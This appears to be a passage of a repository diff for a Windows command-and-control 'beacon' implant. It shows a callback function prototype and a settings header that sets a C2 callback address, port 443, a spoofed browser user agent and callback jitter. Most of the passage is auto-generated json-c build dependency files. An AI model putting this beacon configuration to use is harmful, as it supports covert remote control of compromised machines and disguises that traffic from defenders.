LPCWSTR* BeaconCallbackC2(LPCSTR CallbackAddress, INT CallbackPort, LPCSTR UserAgent, DWORD *OpCode, LPCSTR SendBuffer, DWORD SendOpCode, DWORD SendBufferSize);

5
beacon/build/settings.h Normal file
View File

@ -0,0 +1,5 @@
#define _C2_CALLBACK_ADDRESS L"172.17.0.2"
#define _C2_CALLBACK_PORT 443
#define _CALLBACK_USER_AGENT L"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36"
#define _CALLBACK_JITTER 1000

View File

@ -0,0 +1,53 @@
arraylist.lo: arraylist.c config.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/share/mingw-w64/include/strings.h arraylist.h
config.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/share/mingw-w64/include/strings.h:
arraylist.h:

View File

@ -0,0 +1,96 @@
debug.lo: debug.c config.h /usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h \
/usr/share/mingw-w64/include/unistd.h /usr/share/mingw-w64/include/io.h \
/usr/share/mingw-w64/include/process.h \
/usr/share/mingw-w64/include/sys/types.h \
/usr/share/mingw-w64/include/getopt.h \
/usr/share/mingw-w64/include/pthread_unistd.h \
/usr/share/mingw-w64/include/sys/param.h debug.h
config.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:
/usr/share/mingw-w64/include/unistd.h:
/usr/share/mingw-w64/include/io.h:
/usr/share/mingw-w64/include/process.h:
/usr/share/mingw-w64/include/sys/types.h:
/usr/share/mingw-w64/include/getopt.h:
/usr/share/mingw-w64/include/pthread_unistd.h:
/usr/share/mingw-w64/include/sys/param.h:
debug.h:

View File

@ -0,0 +1,5 @@
json_c_version.lo: json_c_version.c config.h json_c_version.h
config.h:
json_c_version.h:

View File

@ -0,0 +1,130 @@
json_object.lo: json_object.c config.h strerror_override.h \
/usr/share/mingw-w64/include/errno.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h json_object.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h printbuf.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/share/mingw-w64/include/assert.h \
/usr/share/mingw-w64/include/ctype.h \
/usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/share/mingw-w64/include/math.h debug.h linkhash.h arraylist.h \
json_object_private.h json_util.h math_compat.h strdup_compat.h \
snprintf_compat.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h
config.h:
strerror_override.h:
/usr/share/mingw-w64/include/errno.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
json_object.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
printbuf.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/share/mingw-w64/include/assert.h:
/usr/share/mingw-w64/include/ctype.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/share/mingw-w64/include/math.h:
debug.h:
linkhash.h:
arraylist.h:
json_object_private.h:
json_util.h:
math_compat.h:
strdup_compat.h:
snprintf_compat.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:

View File

@ -0,0 +1,91 @@
json_object_iterator.lo: json_object_iterator.c \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h json.h debug.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h linkhash.h json_object.h \
json_inttypes.h json_config.h /usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h printbuf.h arraylist.h \
json_util.h json_pointer.h json_tokener.h json_object_iterator.h \
json_c_version.h json_object_private.h
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
json.h:
debug.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
linkhash.h:
json_object.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
printbuf.h:
arraylist.h:
json_util.h:
json_pointer.h:
json_tokener.h:
json_object_iterator.h:
json_c_version.h:
json_object_private.h:

View File

@ -0,0 +1,115 @@
json_pointer.lo: json_pointer.c config.h strerror_override.h \
/usr/share/mingw-w64/include/errno.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h json_object.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h printbuf.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h \
/usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/share/mingw-w64/include/ctype.h json_pointer.h strdup_compat.h \
vasprintf_compat.h snprintf_compat.h
config.h:
strerror_override.h:
/usr/share/mingw-w64/include/errno.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
json_object.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
printbuf.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/share/mingw-w64/include/ctype.h:
json_pointer.h:
strdup_compat.h:
vasprintf_compat.h:
snprintf_compat.h:

View File

@ -0,0 +1,117 @@
json_tokener.lo: json_tokener.c config.h \
/usr/share/mingw-w64/include/assert.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h \
/usr/share/mingw-w64/include/math.h math_compat.h \
/usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h \
/usr/share/mingw-w64/include/ctype.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h debug.h printbuf.h \
arraylist.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h json_object.h \
json_object_private.h json_tokener.h json_util.h strdup_compat.h \
/usr/share/mingw-w64/include/locale.h
config.h:
/usr/share/mingw-w64/include/assert.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
/usr/share/mingw-w64/include/math.h:
math_compat.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
/usr/share/mingw-w64/include/ctype.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
debug.h:
printbuf.h:
arraylist.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
json_object.h:
json_object_private.h:
json_tokener.h:
json_util.h:
strdup_compat.h:
/usr/share/mingw-w64/include/locale.h:

View File

@ -0,0 +1,542 @@
json_util.lo: json_util.c config.h strerror_override.h \
/usr/share/mingw-w64/include/errno.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h json_object.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h printbuf.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h \
/usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/share/mingw-w64/include/ctype.h \
/usr/share/mingw-w64/include/sys/types.h \
/usr/share/mingw-w64/include/sys/stat.h \
/usr/share/mingw-w64/include/io.h \
/usr/share/mingw-w64/include/_mingw_stat64.h \
/usr/share/mingw-w64/include/fcntl.h \
/usr/share/mingw-w64/include/unistd.h \
/usr/share/mingw-w64/include/process.h \
/usr/share/mingw-w64/include/getopt.h \
/usr/share/mingw-w64/include/pthread_unistd.h \
/usr/share/mingw-w64/include/windows.h \
/usr/share/mingw-w64/include/sdkddkver.h \
/usr/share/mingw-w64/include/excpt.h \
/usr/share/mingw-w64/include/windef.h \
/usr/share/mingw-w64/include/minwindef.h \
/usr/share/mingw-w64/include/winapifamily.h \
/usr/share/mingw-w64/include/specstrings.h \
/usr/share/mingw-w64/include/sal.h /usr/share/mingw-w64/include/winnt.h \
/usr/share/mingw-w64/include/_mingw_unicode.h \
/usr/share/mingw-w64/include/apiset.h \
/usr/share/mingw-w64/include/psdk_inc/intrin-impl.h \
/usr/share/mingw-w64/include/basetsd.h \
/usr/share/mingw-w64/include/guiddef.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/x86intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ia32intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm_malloc.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/emmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ammintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/smmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/popcntintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/wmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/immintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx2intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512fintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512erintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512pfintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512cdintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512bwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512dqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlbwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vldqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmavlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmiintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmivlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124fmapsintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124vnniwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vpopcntdqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/shaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lzcntintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmiintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmi2intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fmaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/f16cintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rtmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xtestintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm3dnow.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/prfchwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fma4intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xopintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lwpintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tbmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rdseedintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fxsrintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveoptintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/sgxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/adxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clwbintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clflushoptintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavesintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavecintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mwaitxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clzerointrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pkuintrin.h \
/usr/share/mingw-w64/include/pshpack4.h \
/usr/share/mingw-w64/include/poppack.h \
/usr/share/mingw-w64/include/pshpack4.h \
/usr/share/mingw-w64/include/pshpack2.h \
/usr/share/mingw-w64/include/poppack.h \
/usr/share/mingw-w64/include/pshpack2.h \
/usr/share/mingw-w64/include/pshpack8.h \
/usr/share/mingw-w64/include/pshpack8.h \
/usr/share/mingw-w64/include/ktmtypes.h \
/usr/share/mingw-w64/include/winbase.h \
/usr/share/mingw-w64/include/apisetcconv.h \
/usr/share/mingw-w64/include/minwinbase.h \
/usr/share/mingw-w64/include/bemapiset.h \
/usr/share/mingw-w64/include/debugapi.h \
/usr/share/mingw-w64/include/errhandlingapi.h \
/usr/share/mingw-w64/include/fibersapi.h \
/usr/share/mingw-w64/include/fileapi.h \
/usr/share/mingw-w64/include/handleapi.h \
/usr/share/mingw-w64/include/heapapi.h \
/usr/share/mingw-w64/include/ioapiset.h \
/usr/share/mingw-w64/include/interlockedapi.h \
/usr/share/mingw-w64/include/jobapi.h \
/usr/share/mingw-w64/include/libloaderapi.h \
/usr/share/mingw-w64/include/memoryapi.h \
/usr/share/mingw-w64/include/namedpipeapi.h \
/usr/share/mingw-w64/include/namespaceapi.h \
/usr/share/mingw-w64/include/processenv.h \
/usr/share/mingw-w64/include/processthreadsapi.h \
/usr/share/mingw-w64/include/processtopologyapi.h \
/usr/share/mingw-w64/include/profileapi.h \
/usr/share/mingw-w64/include/realtimeapiset.h \
/usr/share/mingw-w64/include/securityappcontainer.h \
/usr/share/mingw-w64/include/securitybaseapi.h \
/usr/share/mingw-w64/include/synchapi.h \
/usr/share/mingw-w64/include/sysinfoapi.h \
/usr/share/mingw-w64/include/systemtopologyapi.h \
